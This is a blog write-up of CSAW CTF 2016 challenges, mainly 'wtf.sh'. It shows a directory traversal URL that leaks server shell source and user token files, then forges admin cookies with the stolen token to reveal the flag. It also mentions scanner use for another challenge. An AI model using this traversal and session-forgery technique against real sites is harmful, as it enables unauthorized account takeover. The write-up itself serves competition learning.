[Writeup] CSAW CTF 2016

mfw (125)
This main url:

Fuzz it to easy:

Play with flag

wtf.sh 1 (150)

Register one account, logined.
Create post, view post
Fuzzing now, i found directory traversal (WTF? traversal again)
When fuzz to: http://web.chal.csaw.io:8001/post.wtf?post=zabOA/../../ I found some source code. I guess may be can read all file in this directoty, like cat * :)).

I found some interesting function (after use decoder to view beautifull code):

function hash_password {
    local password=$1;
    (shasum <<< ${password}) | cut -d\  -f1;
# hash usernames for lookup in the users_lookup table
function hash_username {
    local username=$1;
    (shasum <<< ${username}) | cut -d\  -f1;
# generate a random token, base64 encoded
# on GNU base64 wraps at 76 characters, so we need to pass --wrap=0
function generate_token {
    (head -c 64 | (base64 --wrap=0 || base64)) < /dev/urandom 2> /dev/null;

SHA username, password and generate random token. Ok
Next function

function find_user_file {
    local username=$1;
    local hashed=$(hash_username "${username}"); # My comment, admin shasum 4015bc9ee91e437d90df83fb64fbbe312d9c9f05/posts
    local f;
    if [[ -n "${username}" && -e "users_lookup/${hashed}" ]]
        echo "users/$(cat "users_lookup/${hashed}/userid")";
        echo "users/$(cat "users_lookup/4015bc9ee91e437d90df83fb64fbbe312d9c9f05/userid")";
        echo "NONE"; # our failure case -- ugly but w/e...
function create_user {
    local username=$1;
    local password=$2;
    local hashed_pass=$(hash_password ${password});
    local hashed_username=$(hash_username "${username}");
    local token=$(generate_token);
    mkdir users 2> /dev/null; # make sure users directory exists
    touch users/.nolist; # make sure that the users dir can't be listed
    touch users/.noread; # don't allow reading of user files directly
    mkdir users_lookup 2> /dev/null; # make sure the username -> userid lookup directory exists
    touch users_lookup/.nolist; # don't let it be listed
    local user_id=$(basename $(mktemp users/XXXXX));

    # user files look like:
    #   username
    #   hashed_pass
    #   token
    echo "${username}" > "users/${user_id}";
    echo "${hashed_pass}" >> "users/${user_id}";
    echo "${token}" >> "users/${user_id}";

    mkdir "users_lookup/${hashed_username}" 2> /dev/null;
    touch "users_lookup/${hashed_username}/.nolist"; # lookup dir for this user can't be readable
    touch "users_lookup/${hashed_username}/.noread"; # don't allow reading the lookup dir
    touch "users_lookup/${hashed_username}/posts"; # lookup for posts this user has participated in
    echo "${user_id}" > "users_lookup/${hashed_username}/userid"; # create reverse lookup
    echo ${user_id};


After create user, user had one random id, like 2KP1G (5 chars), username, hashed_pass, token stored in user/${user_id}.
Use Path traversal, we had admin token and hased password. Of course, i will not crackable =]]
URL: http://web.chal.csaw.io:8001/post.wtf?post=zabOA/../../../users

Posted by admin

Now, notice this function:
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$   local username=$(head -n 1 users/${URL_PARAMS['user']});
$   echo "

${username}'s posts:

$   echo "
    $   get_users_posts "${username}" | while read -r post; do
    $       post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
    $       echo "
  1. $(nth_line 2 "${post}" | htmlentities)
  2. ";
    $   done
    $   echo "
$   if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$   then
$       get_flag1
$   fi
$ fi

Oh, don`t need admin password, we need a cookie admin (easy), and admin is_logged_in. Find that function:
function is_logged_in {
    contains 'TOKEN' ${!COOKIES[@]} && contains 'USERNAME' ${!COOKIES[@]};
    local has_cookies=$?
    local userfile=$(find_user_file ${COOKIES['USERNAME']});
    [[ ${has_cookies} \
        && ${userfile} != 'NONE' \
        && $(tail -n1 ${userfile} 2>/dev/null) = ${COOKIES['TOKEN']} \
        && $(head -n1 ${userfile} 2>/dev/null) = ${COOKIES['USERNAME']} \
    return $?;
Cookie is token. Now, we had admin token. Change token and user name to admin. Refesh and go to profile:

Flag: flag{l00k_at_m3_I_am_th3_4dm1n_n0w}

I Got Id (200)
Thanks to Acunetix :)).
After scan, i have this bug:

I tried to many file path, but it too easy :|

Thanks for reading
Security Research
SecurityLab - Linux Lab -- Window and Cisco Lab
to be continued - I will update more.


Popular posts from this blog

Python - Multithread to read one file

An toàn thông tin ứng dụng Web

OpenCA tutorial